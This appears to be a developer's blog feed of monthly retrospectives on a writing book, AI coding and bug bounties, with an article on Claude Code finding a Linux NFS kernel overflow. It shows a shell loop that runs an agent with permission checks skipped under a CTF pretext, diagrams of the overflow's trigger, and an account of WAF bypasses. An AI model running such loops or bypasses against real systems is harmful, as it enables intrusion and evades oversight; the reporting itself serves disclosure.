mtlynch.io

Refactoring English: Month 18

Wed, 10 Jun 2026 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I’ve completed all 22 chapters of my book.
I thought AI made prototyping faster, but now I’m not so sure.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Get Refactoring English to “content complete”

Result: I’ve completed all chapters.
Grade: A

This has felt like it was a week away for six weeks, so I’m glad to finally have all the chapters done.

Create a tool that allows Refactoring English readers to give feedback as they read the book

Result: The tool is only about 40% complete.
Grade: C

This seemed like it should basically be a 2-3-day project, but I realized it’s more difficult than it seemed, especially due to the great blockade.

Refactoring English metrics

Metric	April 2026	May 2026	Change
Unique visitors	2,578	1,752	-826 (-32%)
Revenue from pre-orders	$587.73	$407.61	-$180.12 (-31%)
Total Revenue	$587.73	$407.61	-$180.12 (-31%)

Eep, I continue to neglect marketing, and the numbers are suffering for it.

I was desperate to get the last few chapters of the book done, so I focused only on that rather than investing in any marketing.

Bug bounty metrics

I’ve continued pursuing security bug bounties, but I’ve reduced my time on them. I’m not quite doing the 70/30 split I planned, but maybe like 60/40.

The main vendor I’ve been working with paid me another $7k (bringing me to $17k total) for reports, but they’ve slowed down on processing reports, so I’ve mostly stopped searching for new bugs in their code.

I submitted bugs to a few other programs to check if any are processing bug reports quickly, but none of them are:

KeePassXC - I submitted an RCE to Zero Day Initiative on May 18th, but I haven’t heard any response.
- For KeePassXC users, this isn’t a zero-click attack or something that could compromise your database by just visiting a malicious website, so don’t get too worried.
Cloudflare - I submitted a DoS / logic bypass via HackerOne on May 22nd. No response.
Proton - I submitted one low-severity issue. They asked for a video proof of concept, so I made one on May 29th, and they said to wait to hear back.

When is the book “done?”

I’ve completed all the chapters of the book, which is a relief, but I don’t consider it officially “done.”

I wrote the book over the past year and a half, usually focusing on a single chapter at a time. I haven’t ever read my own book cover-to-cover to make sure it’s all consistent. I want to do at least a few complete readthroughs before I call it done.

Why wasn’t I continuously revising the book?

I originally planned to continuously edit the book based on reader feedback. That way, when I got to the last chapter, the book would be pretty much done because the rest of the book would have had so many revisions based on comments from readers.

In reality, I integrated reader feedback far less than I expected.

I found it hard to split my focus between revising past chapters and writing new ones. If I spent a week revising old chapters, it didn’t feel like forward progress. When I added a new chapter, it meant that my public progress meter got a little fuller, which was motivating.

Progress meter from book website

The other reason I didn’t continuously revise is that I didn’t reach out to readers as much as I planned. Part of that is that I constantly felt behind on the book, so there was always a sense of, “I want to get this chapter out, and then I’ll invest more into reader outreach.”

But even when I reached out to readers, it rarely impacted the book. The most common responses from readers were, “I like the book” or, “I haven’t started it yet.”

When I did get detailed feedback, I wasn’t always sure how to integrate it. In some cases, I agreed with the feedback, so it was an easy decision. Usually, though, the reader would suggest adding something that I didn’t think was necessary. And that’s not to say the reader was wrong, but I’d want to see a pattern in reader feedback before I go against my intuition, and I wasn’t getting enough feedback to see a pattern.

My reader feedback tool

Now that I’ve completed all the chapters, I feel like I have more space to reach out to readers.

I like the idea of Help this Book, a web app that allows readers to give feedback directly in your ebook, but I didn’t want to store all of my feedback with a third party and pay monthly rent.

I saw that Julia Evans made her own reader feedback tool, customized to her products, and I thought that was neat, so I’m working on that.

Your browser does not support the video tag.

I’m working on a web app to make it easier for readers to give me feedback about my book.

AI projects and the great blockade

Overall, I’ve found that AI makes me more productive when programming. There are certain tasks like resolving git merge conflicts, debugging unfamiliar code, or making simple tools where AI is a clear win.

I used to think AI was great at helping me start projects, but now I’m not so sure. I keep hitting what I call “the great blockade.”

Just have AI make the prototype

Six months ago, I’d give the AI agent a high-level overview of what I wanted and tell it to implement a basic v1 implementation. I knew the agent’s output would be messy, but it was just a prototype, so I could keep giving it feedback until it matched my programming sensibilities.

It turns out that it’s harder than I expected to clean up a bad prototype. Once the prototype is bad enough, I have a hard time untangling what the code is even trying to do.

AI seems to have a weird bias to justify whatever code is already present. If I tell the AI that a component seems confusing because it’s iterating over the same data three times, it just keeps insisting we have to iterate over the data three times because of X, Y, and Z. But it never questions whether X, Y, and Z are artificial constraints.

This is the blockade. I get stuck trying to move beyond a giant wall of confusing code that AI constructed.

If I don’t fix the core logic, the problem keeps getting worse. The code smells grow like fungus and spread throughout the codebase. I’m building on top of a weak foundation, and the AI just keeps duplicating bad patterns that already exist.

Break down the prototype

Okay, easy fix: have the AI agent create the prototype in smaller pieces. Keep the AI on a tighter leash so it can’t go so far into the weeds. Instead of having the AI create the whole prototype, have it start with a welcome page. Once that’s reviewed and merged, add one simple feature, and so on.

That works fine until I get to a complex chunk, like authentication. AI creates a pull request that’s 2-5k LOC of confusing code, and that becomes a huge wall. I can’t think of a way to break down the feature any further, so I’m stuck with this massive PR, another great blockade.

Not only does a 4k LOC change take 20x as long to review as a 400 LOC change, but it also requires larger review windows. If I have a 20-minute block available, I can tackle the 400 LOC change, but if I have a 4k LOC change, I need 20 minutes just to build up context. To make meaningful progress on a 4k LOC change without wasting most of it on context friction, I need a 90-minute window, which is hard to come by especially for weekend projects.

Example: Implementing authentication for Little Moments

Here’s an example. For Little Moments, I’m doing authentication with magic login emails. And for several weeks, I couldn’t think of a way to break that feature down without introducing dead code or broken features. I can’t implement half a login flow.

After several weeks of chipping away at a giant PR little by little, I realized I actually could implement half a login. PicoShare, another app I maintain, has a simple authentication flow. The app assumes a single authorized user, so authentication is just a passphrase, not even a username/password pair. Instead of a huge switch from no authentication to email-based authentication, I could go from no authentication to passphrase authentication.

So, I got passphrase authentication working, but moving from passphrase to magic email logins was still a pretty massive PR that would take me weeks to review. After hacking on it over several days, I realized I could break it down further.

Instead of actually sending emails with a login link, I could just immediately redirect the user to the link I would have sent them. That was still a 1.7k LOC PR, but it was more manageable than sending actual emails. And it reduced the actually sending emails part to a mere 1k LOC.

How AI makes this harder

The thing that makes me wonder if AI is a net positive on this type of work is that I know I would have spotted these opportunities to break down the problem had I not been using AI. I would never create a 4k LOC PR and then say, “Hmm, this is pretty big.” As the PR grows larger, it becomes more painful to work with, so I naturally see opportunities to break the change into smaller pieces.

AI disrupts that natural feedback loop. With AI, there’s no pain in creating a 4k LOC PR because it happens in two minutes while I check my email. And I can easily give notes to improve the 4k LOC PR and feel like I’m making progress, but the big change makes it hard for me to identify what pieces can lift out into their own smaller changes.

Now that I recognize how easy it is to generate huge, unmanageable PRs for complex changes, I can change the way I use AI to invest more upfront into breaking features down into tinier changes.

Wrap up

What got done?

Published the last chapters of my book.
Created a partial prototype of a book feedback app.
Partially implemented authentication for Little Moments.
Cut two new releases of PicoShare.

Lessons learned

Using AI eliminates the natural feedback cycle that motivates me to build software in smaller chunks.
- I think the solution is to work harder earlier in the lifecycle of complex features to break things down into smaller chunks and be more strict in checking the AI’s output.

Goals for next month

Invest at least five hours into improving the Refactoring English website.
Attract 30k unique readers to the Refactoring English website.
Complete my reader feedback tool.

Refactoring English: Month 17

Thu, 14 May 2026 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I’m torn between focusing on my book and pursuing security bug bounties.
I’m considering a course to teach what I’ve learned about using AI to find security vulnerabilities.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Finish writing Refactoring English

Result: I’ve still got about 1-2 weeks of writing left
Grade: C

I keep feeling like I’m close to done, but then I spend more time than I intend to on bug bounties.

Refactoring English metrics

Metric	March 2026	April 2026	Change
Unique visitors	6,932	2,578	-4,354 (-63%)
Revenue from pre-orders	$725.80	$587.73	-$138.07 (-19%)
Total Revenue	$725.80	$587.73	-$138.07 (-19%)

Revenue dropped for the book, as I haven’t done any marketing since March. Instead, I’ve been getting distracted by bug bounty hunting. I’m glad I’ve been able to skate by on past effort, but I see the numbers trending toward zero if I neglect marketing.

Three months of bug bounty programs

For the past three months, I’ve been spending a lot of time using AI to find security vulnerabilities. I haven’t talked about it publicly because I didn’t want to attract competition to the limited supply of bug bounty programs. I wasn’t sure if other people realized just how effective AI is at security research, but I think the cat is out of the bag.

If you haven’t been following along with AI and security research, Firefox is an astonishing case study. Throughout 2025 (before AI was any good at security research) Mozilla and external researchers collectively found 10-20 security vulnerabilities in Firefox each month.

In February 2026, Anthropic used Claude Opus to find 22 Firefox vulnerabilities. In other words, that month, Anthropic alone found more than everyone else combined in any of the previous 13 months. Two months later, Anthropic used Claude Mythos to find a whopping 271 more vulnerabilities in Firefox.

I sort of spotted this early, but I got it slightly wrong. Back in January, I thought that AI might be able to revolutionize cybersecurity research, but I thought the value was in creating security tools. I was using AI to write fuzz testing tools and was amazed at how much faster I could perform fuzz testing than when I did it by hand.

Despite the fact that I could write fuzzers 10-20x faster, it turned out that my strategy was way more work than was necessary. Instead of asking AI to create a fuzz testing tool and evaluate its output, you can just ask AI, “Hey, look at the source code and tell me all the vulnerabilities.”

After I saw how good AI was at directly auditing source code, I stopped fuzzing and focused on source auditing. I’ve now reported 50+ bugs to five different bug bounty programs and earned about $10k in bug bounties.

The bugs have gotten easier to find, but the bounty programs have gotten harder

While I’ve successfully used AI to find security vulnerabilities, I’ve been less successful at finding companies willing to pay me for my findings.

Here are my results so far:

Vendor 1: Meta
- I submitted eight reports, including one remote code execution bug.
- I received no response for several weeks.
- I found email addresses for developers that worked on the product and pinged them, and they escalated my reports to get them past triage, but there’s been no movement since then (two weeks and counting).
Vendor 2
- I submitted one report.
- Vendor triaged it in one business day, but said it would be several weeks before they could investigate thoroughly.
- I haven’t heard anything in over 30 days.
Vendor 3:
- I submitted one report.
- Vendor claimed it was a duplicate, so no bounty.
Vendor 4
- I’ve submitted 40ish reports.
- Eight were paid after two weeks for a total of $9,700.
- Two were rejected as duplicates.
- The remaining are all awaiting triage, though the most valuable ones were in the first eight that have received payouts.
Vendor 5: Firedancer (crypto project)
- Found a few medium-severity issues.
- When I started the bounty reporting process, I realized that they require researchers to upload their passport to a service I’ve never heard of, so I stopped there.
- Their program rules are also sketchy in that they seem to contradict the rules of the bounty platform they’re using.

So, the $10k from vendor 4 only took two weeks of part-time work. That would be a great return on investment had I not also spent 6+ weeks on bounty programs that paid nothing. It would also be great if I could find more vendors like vendor 4, but I don’t know how to do that.

Should I focus on the book or bug bounties?

I’m now torn on how to allocate my time between the book and bug bounties. Here’s my thinking:

Focus on my book
- Pro: The book is nearly done, so if I focus on finishing, it will be complete and more valuable than a partially-finished book.
- Pro: The book is something only I can create, whereas lots of people can participate in bug bounties.
- Pro: I’m already late on delivering the book, so finishing it makes me feel less guilty about making readers wait.
- Pro: I can talk publicly about my book, and not only does it help me think out loud, it helps new readers discover the book.
- Con: The expected value of the book feels lower than bounty hunting, at least in the short-term. In theory, I could find a $100k bug next week, whereas it’s unlikely I could do anything that would drive $100k in book sales by next week.
Focus on bug bounties
- Pro: I made more in two weeks of bug bounties than I did in all of 2025 on my book.
- Pro: There’s still a massive amount of undiscovered, bounty-paying bugs that AI tools can find.
- Pro: If I pause for a few months, the value of the remaining bugs will be significantly lower, as many other researchers will have claimed the easy-to-find bugs.
- Con: Participating in bug bounties is frustrating, as you have no leverage. The vendor can completely lowball or shaft you, and you have no recourse or negotiating power unless you sell the exploit to buyers who want to use it for nefarious purposes.
- Con: Bug bounty hunting is addictive like gambling in that there are variable rewards that appear semi-randomly.
- Con: Bug bounties push me back into bad AI usage habits. If I have an AI agent searching for bugs in the background, I constantly want to check on its progress and redirect it based on early results.
- Con: I’m much more limited in what I can share publicly about my work, both because bounty programs often require it and because I don’t want to attract competition to the same places where I’m focusing effort.

Rationally, I have a hard time justifying why I should continue chasing bug bounties, but I do want to keep at it a little bit, maybe like a 70/30 split between the book and bug bounties.

Maybe I should be teaching AI for improving software security

A third possibility is that instead of chasing bug bounties, I teach people what I’ve learned in the last few months about using AI to find security vulnerabilities.

I’m thinking about offering a small, cohort-based course where we find bugs in open-source projects. We’ll pick projects with no bug bounty attached so that students can internally share findings without worrying about someone running off with their reward. The format will be some combination of live or recorded screencasts + a private group chat for 2-4 weeks.

The course is not going to be about making money from bug bounties. Maybe I’ll cover that some, but that won’t be the focus because that’s not what I’ve learned most about in the last three months.

The course will be about using AI to find security vulnerabilities in large codebases. I’ll show the techniques I’ve learned for getting AI tools to focus on likely areas of bugs and avoid wasting time and tokens on bad leads. You can apply these lessons internally with your own closed-source code or on open-source projects you want to help secure.

If you’re interested, sign up for my interest list below:

Early interest list - Using AI to find security vulnerabilities

Recommendations

A few weeks ago, I saw a question on reddit from someone who wanted to delete their Facebook account but capture an archive of their data in a usable format. That reminded me of a project I’d seen on Hacker News but never explored much called Timelinize.

Timelinize lets you import data you exported from Facebook, Google, Twitter, and similar services, and the app creates a unified timeline to explore your data. The creator is Matt Holt, who also created Caddy, the popular reverse web proxy.

Timelinize still feels pretty alpha-stage, and I had to add a bunch of local patches to make it usable, but I like where it’s going. I plan to upstream more of my patches as I use it more.

Whenever I find a local, offline solution for something that previously required a cloud service, it feels oddly refreshing. When I switched from streaming services to Jellyfin, I was surprised at how different it felt to just watch what I’m watching without a company watching me back for ways to squeeze money from me.

The weird thing was, when I watched Netflix or HBO, I never consciously thought, “Oh no! I’m being monitored.” But when I started exclusively watching TV and movies locally, it was as if I spent so much time in an office cubicle that I forgot that there’s an outside at all. Then, I went outside and enjoyed fresh air and sunshine. Metaphorically, I mean. Literally, I was still sitting inside watching TV on my computer. But it was so much faster and freer than before!

I had a similar “breathing fresh air” experience with Timelinize. Timelinize’s interface is user-oriented, which makes me realize just how user-hostile the interface is on cloud platforms. Facebook and Twitter don’t want you to just scroll through your old messages because that doesn’t make money for them. To discourage you from reading your old messages, they make the experience subtly uncomfortable: they squeeze the conversation into a tiny box, they force you to stop and wait for new messages to load every few seconds, and they constantly show you distracting notifications to lead you back to the new content they can monetize.

With Timelinize, the reading experience is designed to let me just read my archive. There’s nothing trying to steal my focus and check out what’s new because Timelinize shows a historical snapshot. I find it fun to jump to a date 10 years ago and read what my conversations were at the time.

The Timelinize interface lets you read your conversations without trying to steal your focus with notifications.

The React2Shell Story and What Happened Next.js

I didn’t follow React2Shell at the time, but it was a critical vulnerability in React.js that allowed an attacker to gain code execution on many React.js and Next.js apps.

Last week, the two researchers who discovered React2Shell wrote about what happened behind the scenes:

“The React2Shell Story” by Lachlan Davidson, the lead researcher on finding the vulnerability.
“The React2Shell Story and What Happened Next.js” by Sylvie Mayer, who assisted Lachlan in exploring the vulnerability, notifying vendors, and identifying bug bounty programs that would pay for the vulnerability.

Lachlan’s post got more attention, but I found Sylvie’s more interesting, especially given that she was a 20-year-old college student at the time.

Lachlan and Sylvie both realized they’d found a “nuclear bomb” that affected hundreds or thousands of major websites. After reporting the bug to Meta (who maintains React) and Vercel (who maintains Next.js), they wanted to identify other bug bounty programs that would pay them for their work on this massive bug.

The researchers couldn’t disclose the bug to the other vendors until Meta publicly announced the security advisory. The problem was that once React2Shell was public, Lachlan and Sylvie would lose their edge over everyone else rushing to claim the same bounties.

To get a head start, Sylvie scouted bug bounty programs during the bug blackout period and checked whether those vendors’ sites were vulnerable to React2Shell. That way, as soon as Meta announced the vulnerability, Sylvie and Lachlan could claim these third-party bounties.

The problem was that before React2Shell became public, Vercel created a filter for the bug in their web application firewall (WAF) that would protect Vercel customers even if the customer sites were running vulnerable versions of React or Next.js. Meta and Vercel also worked with Cloudflare and similar WAF platforms to teach them how to filter React2Shell attacks.

So, after Meta announced React2Shell, Sylvie tried reproducing the bug against the sites she scouted ahead of time, but the bug didn’t trigger. Almost all of the sites with bug bounties were on Cloudflare or Vercel, so the WAFs blocked Sylvie’s exploit.

So, now Lachlan and Sylvie had to figure out how to sneak their exploit past Cloudflare’s and Vercel’s WAFs to trigger React2Shell, but bypassing enterprise WAFs is a massive research project in itself. Fortunately, Sylvie found a bypass in Cloudflare’s WAF and five distinct bypasses in Vercel’s.

Interestingly, the “vast majority” of what Sylvie earned came not from React2Shell itself but for the WAF bypasses, as Vercel paid $50k per reported bypass.

Wrap up

What got done?

Published new chapters: “Improve Your Writing with AI” and “Meet the Reader Where They Are”
Held a live session with readers about using AI to improve writing
Reported a bunch of security bugs through bug bounty programs

Lessons learned

It’s better for me long-term to focus on my book than on security bug bounties.
- The hard part is that bug bounties are so short-term rewarding, whereas the rewards for the book typically lag my investments by at least a month.
It’s unexpectedly satisfying to migrate from a cloud service to something you run locally.

Goals for next month

Get Refactoring English to “content complete.”
Create a tool that allows Refactoring English readers to give feedback as they read the book.

Requests for help

If you’re interested in learning about using AI to find security vulnerabilities in your team’s code, sign up for my interest list. If there’s enough interest, I’ll put together a course.

Early interest list - Using AI to find security vulnerabilities

Refactoring English: Month 16

Thu, 09 Apr 2026 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I got to the front page of Hacker News with an article that I wrote in one sitting.
I expect the next few years to be scary for software security.
I’ve completed the first milestone of my family photo sharing app.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Finish Refactoring English

Result: Published a new chapter but still am not done
Grade: C

I knew it was an ambitious goal to complete the last three chapters in a single month, but I thought it was doable. I only finished one of the three, but the book is nearly complete.

Refactoring English metrics

Metric	February 2026	March 2026	Change
Unique visitors	7,788	6,932	-856 (-11%)
Revenue from pre-orders	$886.20	$725.80	-$160.40 (-18%)
Total Revenue	$886.20	$725.80	-$160.40 (-18%)

Visits and sales are down slightly this month, but I’m glad to see that there’s still a steady flow of readers and customers even when I don’t have a successful promotion.

My only promotion this month was an article called “Which Design Doc Did a Human Write?”. It did well on Lobsters but flopped on Hacker News. The /r/programming subreddit rejected it for being “AI-generated,” even after I messaged the mods clarifying that the article itself was human-written.

I got the idea for the post from the last Refactoring English live class. We discussed whether AI is good enough to write design docs, and I realized how easy it would be to generate alternate AI versions of the design doc I’d just written by hand. It was interesting reading people’s guesses about the “tells” they identified in the different design docs about what revealed them as human vs. AI.

Spotting an opportunity to pull a Simon Willison

Simon Willison has been the most popular blogger on Hacker News for the last three years. I recently wrote about Willison’s underused yet effective strategy for blogging:

Simon often finds ideas within walled-garden platforms (e.g., TikTok, Twitter) and simply brings them to the open web, where it’s easier for HN to discuss. Some of his most popular posts were just short quotes or links with a bit of commentary. “I’m worried that they put co-pilot in Excel” is just a quote from a video he watched on TikTok. “A computer can never be held accountable” is Simon summarizing a few tweets.

Simon has called this approach, “a low effort, high value way to contribute to internet life at large,” and I agree.

The only hard part of Willison’s strategy is recognizing when to use it. If you just summarize tweets and TikToks at random, you probably won’t gain much traction. You have to notice when some interesting information is trapped in a Web-hostile format and then port it to the web while it’s still fresh.

Last week, I watched Nicholas Carlini’s “Black Hat LLMs” talk and realized there was an opportunity to use Willison’s technique.

In the talk, Carlini described how he found a remotely-exploitable vulnerability in the Linux kernel that nobody had noticed for 23 years. The surprising part was that anyone could have done what Carlini did. He just pointed Claude Code at each file in the Linux kernel source and asked it to find vulnerabilities.

I looked online for discussion of Carlini’s discovery and was surprised to find nobody talking about it. It was published on YouTube and mentioned in a Hacker News thread, but it seemed to be getting far less attention than it deserved. People were making a big deal out of Claude Code writing an exploit for a FreeBSD bug, but this felt like bigger news.

It turned out I was right.

I wrote the article in one three-hour sitting, much faster than my usual process of 10-30 hours over several weeks. The article has attracted 41k unique readers so far. It did well on Hacker News and Lobsters. Despite me not even posting it to Twitter, almost half the readers found my article via Twitter.

In the past, when articles become popular on my personal blog, many of the readers dug deeper and discovered Refactoring English. That didn’t happen this time, I guess because readers interested in AI are less interested in a book about writing without AI.

Software security will be rough for the next couple of years

Carlini’s talk highlights something I’ve been thinking about for several months: the next few years will be pretty bad for cybersecurity.

It used to be that the average person had some protection from cyberattacks because there’s a high cost to finding security vulnerabilities.

For example, imagine six months ago that you wanted to hack users who run Syncthing, the open-source file syncing tool. Unless you’re a software security expert, you’d have to hire someone who is:

Good at finding vulnerabilities
Comfortable being paid to weaponize them
Willing to work with a stranger

Let’s say, you find someone willing to find and exploit a Syncthing vulnerability for $5k. That’s still a lot of work and money. And that’s assuming the person you hire is genuine and not just scamming people.

And even if you go through all that trouble, you risk “burning” the exploit every time you use it. If someone notices that their system is compromised and traces it back to Syncthing, they might be able to identify your exploit and report the bug, rendering your exploit worthless.

Compare that to the situation today. You can buy a Claude Code subscription for $100/mo and find critical vulnerabilities just like Carlini did. Claude Code’s guardrails cause it to refuse requests that weaponize vulnerabilities, but it won’t be long before you can secretly develop exploits with open-weight models without any AI vendor telling you that you can’t.

So, the cost of developing exploits has drastically dropped, but the value of fixing them is the same or lower. There are so many AI-generated bug reports that vendors are shutting down their bug bounty programs, eliminating any financial payout to honest researchers.

What Carlini did is not a fluke. I replicated it to find an undiscovered remote code execution vulnerability in a popular codebase without much effort. I could likely find many more, but the financial value to me is negative because the project has no bug bounty, so I’m spending hours to coordinate a fix with the vendor for $0.

There isn’t some greedy billion dollar company refusing to pay me for vulnerabilities I found. The maintainer is just some guy who works on the project out of the goodness of his heart. It’s basically the “Dependency” xkcd. He doesn’t have any money to pay for vulnerability reports because he’s not getting paid either, though billion-dollar companies are certainly using his code:

xkcd #2347, “Dependency”

Eventually, we’ll get back to an equilibrium where AI security tools are as cheap and convenient as static analysis tools are today. Vendors will use AI to catch security issues before they hit production.

In the short run, there are a lot of vulnerabilities that suddenly became low-hanging fruit; there’s value for attackers to exploit them and not much value for honest researchers to fix them.

Reaching the first Little Moments milestone

Back in December, I announced that I was creating a free, open-source app for sharing baby photos because I hated the existing options.

I expected the app to be something I could easily vibe code, but then I realized it was a good opportunity to practice writing a design doc. I’ve been writing about the design doc process for Refactoring English, but I haven’t written a real, full-length design doc in almost a decade.

It was hard for me to write a design doc when vibe coding is so much more satisfying in the short term. That’s why it’s taken me since December, but I finally focused and wrote the design doc for my app, Little Moments. Once the design doc was done, the rest was easy.

Currently, you can import data that you exported from TinyBeans and render it locally. I don’t want to show actual private family photos, so I created dummy data for testing:

Your browser does not support the video tag.

I find even this minimal implementation so exciting and can’t wait to finish.

If you’ve never used TinyBeans or PhotoCircle, it probably sounds strange that my extremely basic app prototype is exciting, but I can’t emphasize to you how terrible the user experience is on those apps.

Even the basic flow of seeing the next and previous photo doesn’t work on TinyBeans. If you’re viewing a photo, you have to navigate back to the photo index, then find the next photo. And that’s if you’re on the mobile app. On the web app, you can’t even see your photos in a sequence; you have to find them on a calendar. On top of that, there are ads and upsells everywhere, and everything is painfully slow.

Little Moments is super fast, and I added keyboard shortcuts and mobile swipe gestures to make navigation even easier. I’m excited to finish the app and stop using TinyBeans.

Wrap up

What got done?

Published “Claude Code Found a Linux Vulnerability Hidden for 23 Years”
Published “Which Design Doc Did a Human Write?”
Published “Help the Reacher Reach Their Goal” chapter of Refactoring English
Made my first contribution to Firefox, a small fix to prevent crashes on malformed Ogg files.

Lessons learned

The next few years will be rough for cybersecurity
- It’s never been easier for malicious actors to find vulnerabilities, while the rewards are decreasing for honest researchers who want to fix them.

Goals for next month

Finish writing Refactoring English

Claude Code Found a Linux Vulnerability Hidden for 23 Years

Fri, 03 Apr 2026 00:00:00 +0000

Nicholas Carlini, a research scientist at Anthropic, reported at the [un]prompted AI security conference that he used Claude Code to find multiple remotely exploitable security vulnerabilities in the Linux kernel, including one that sat undiscovered for 23 years.

Nicholas was astonished at how effective Claude Code has been at finding these bugs:

We now have a number of remotely exploitable heap buffer overflows in the Linux kernel.

I have never found one of these in my life before. This is very, very, very hard to do.

With these language models, I have a bunch.

—Nicholas Carlini, speaking at [un]prompted 2026

How Claude Code found the bug

What’s most surprising about the vulnerability Nicholas shared is how little oversight Claude Code needed to find the bug. He essentially just pointed Claude Code at the Linux kernel source code and asked, “Where are the security vulnerabilities?”

Nicholas uses a simple script similar to the following:

# Iterate over all files in the source tree.
find . -type f -print0 | while IFS= read -r -d '' file; do
 # Tell Claude Code to look for vulnerabilities in each file.
 claude \
 --verbose \
 --dangerously-skip-permissions \
 --print "You are playing in a CTF. \
 Find a vulnerability. \
 hint: look at $file \
 Write the most serious \
 one to the /output dir"
done

The script tells Claude Code that the user is participating in a capture the flag cybersecurity competition, and they need help solving a puzzle.

To prevent Claude Code from finding the same vulnerability over and over, the script loops over every source file in the Linux kernel and tells Claude that the bug is probably in file A, then file B, etc. until Claude has focused on every file in the kernel.

The NFS vulnerability

In his talk, Nicholas focused on a bug that Claude found in Linux’s network file share (NFS) driver which allows an attacker to read sensitive kernel memory over the network.

Nicholas chose this bug to show that Claude Code isn’t just finding obvious bugs or looking for common patterns. This bug required the AI model to understand intricate details of how the NFS protocol works.

The attack requires an attacker to use two cooperating NFS clients to attack a Linux NFS server:

 Client A NFS Server Client B
 | | |
(1) |--- SETCLIENTID ---------------->| |
 |<-- clientid_a, confirm ---------| |
 |--- SETCLIENTID_CONFIRM -------->| |
 | | |
(2) |--- OPEN "lockfile" ------------>| |
 |<-- open_stateid_a --------------| |
 |--- OPEN_CONFIRM --------------->| |
 | | |
(3) |--- LOCK (1024-byte owner) ----->| lock_owner = 1024b buf |
 |<-- lock_stateid_a --------------| Lock granted |
 | | |

(1) - Client A does a three-way handshake with the NFS server to begin NFS operations.

(2) - Client A requests a lock file. The server accepts, and the client acknowledges the acceptance.

(3) - Client A acquires the lock and declares a 1024-byte owner ID, which is an unusually long but legal value for the owner ID. The server grants the lock acquisition.

The attacker then spins up a second NFS client, Client B, to talk to the server:

 Client A NFS Server Client B
 | | |
(4) | |<-- SETCLIENTID -----------------|
 | |--- clientid_b, confirm -------->|
 | |<-- SETCLIENTID_CONFIRM ---------|
 | | |
(5) | |<-- OPEN "lockfile" -------------|
 | |--- open_stateid_b ------------->|
 | |<-- OPEN_CONFIRM ----------------|
 | | |
(6) | |<-- LOCK (same range) -----------|
 | | |
 | +-----------+-----------+ |
 | | LOCK DENIED! | |
 | | Encode response: | |
 | | offset: 8B | |
 | | length: 8B | |
 | | type: 4B | |
 | | clientid: 8B | |
 | | owner_len: 4B | |
 | | owner: 1024B | |
 | | TOTAL: 1056B | |
 | +-----------+-----------+ |
 | | |

(4) Client B does a three-way handshake with the NFS server to begin NFS operations, same as (1) above.

(5) Client B requests access to the same lock file as Client A from (2). The NFS server accepts, and the client acknowledges the acceptance.

(6) Client B tries to acquire the lock, but the NFS server denies the request because client A already holds the lock.

The problem is that at step (6), when the NFS server tries to generate a response to client B denying the lock request, it uses a memory buffer that’s only 112 bytes. The denial message includes the owner ID, which can be up to 1024 bytes, bringing the total size of the message to 1056 bytes. The kernel writes 1056 bytes into a 112-byte buffer, meaning that the attacker can overwrite kernel memory with bytes they control in the owner ID field from step (3).

Fun fact: Claude Code created the ASCII protocol diagrams above as part of its initial bug report.

Undiscovered for 23 years

This bug was introduced in the Linux kernel in March 2003:

ChangeSet@1.1388, 2003-09-22 19:22:37-07:00, neilb@cse.unsw.edu.au
 [PATCH] knfsd: idempotent replay cache for OPEN state

 This implements the idempotent replay cache need for NFSv4 OPEN state.
 each state owner (open owner or lock owner) is required to store the
 last sequence number mutating operation, and retransmit it when replayed
 sequence number is presented for the operation.

 I've implemented the cache as a static buffer of size 112 bytes
 (NFSD4_REPLAY_ISIZE) which is large enough to hold the OPEN, the largest
 of the sequence mutation operations. This implements the cache for
 OPEN, OPEN_CONFIRM, OPEN_DOWNGRADE, and CLOSE. LOCK and UNLOCK will be
 added when byte-range locking is done (soon!).

The bug is so old, I can’t even link directly to it because it predates git, which wasn’t released until 2005.

More bugs than he can even report

Nicholas has found hundreds more potential bugs in the Linux kernel, but the bottleneck to fixing them is the manual step of humans sorting through all of Claude’s findings:

I have so many bugs in the Linux kernel that I can’t report because I haven’t validated them yet… I’m not going to send [the Linux kernel maintainers] potential slop, but this means I now have several hundred crashes that they haven’t seen because I haven’t had time to check them.

—Nicholas Carlini, speaking at [un]prompted 2026

I searched the Linux kernel and found a total of five Linux vulnerabilities so far that Nicholas either fixed directly or reported to the Linux kernel maintainers, some as recently as last week:

There’s a big wave coming

What’s striking about Nicholas’ talk was how rapidly large language models have improved at finding vulnerabilities. Nicholas found these bugs using Claude Opus 4.6, which Anthropic released less than two months ago. He tried to reproduce his results on older AI models, and discovered that Opus 4.1 (released eight months ago) and Sonnet 4.5 (released six months ago) could find only a small fraction of what Nicholas found using Opus 4.6:

I expect to see an enormous wave of security bugs uncovered in the coming months, as researchers and attackers alike realize how powerful these AI models are at discovering security vulnerabilities.

Original talk

Nicholas Carlini - Black-hat LLMs at [un]prompted 2026

Refactoring English: Month 15

Tue, 17 Mar 2026 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

It turns out that most of Refactoring English’s readers come from outside the US.
I’m using AI-assisted coding too much.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish two chapters of Refactoring English

Result: Published “Why Improve Your Writing?” and “Improve Your Grammar Incrementally”
Grade: A

Schedule a live event for Refactoring English readers

Result: Scheduled a discussion about design reviews
Grade: A

Refactoring English metrics

Metric	January 2026	February 2026	Change
Unique visitors	38,511	7,788	-30,723 (-80%)
Revenue from pre-orders	$1,132.75	$886.20	-$246.55 (-22%)
Total Revenue	$1,132.75	$886.20	-$246.55 (-22%)

Visits and orders are down, but mainly because January was such an outlier due to “The Most Popular Blogs of Hacker News in 2025.” I got another lucky bump from the HN moderators putting “My Eighth Year as a Bootstrapped Founder” on the front page.

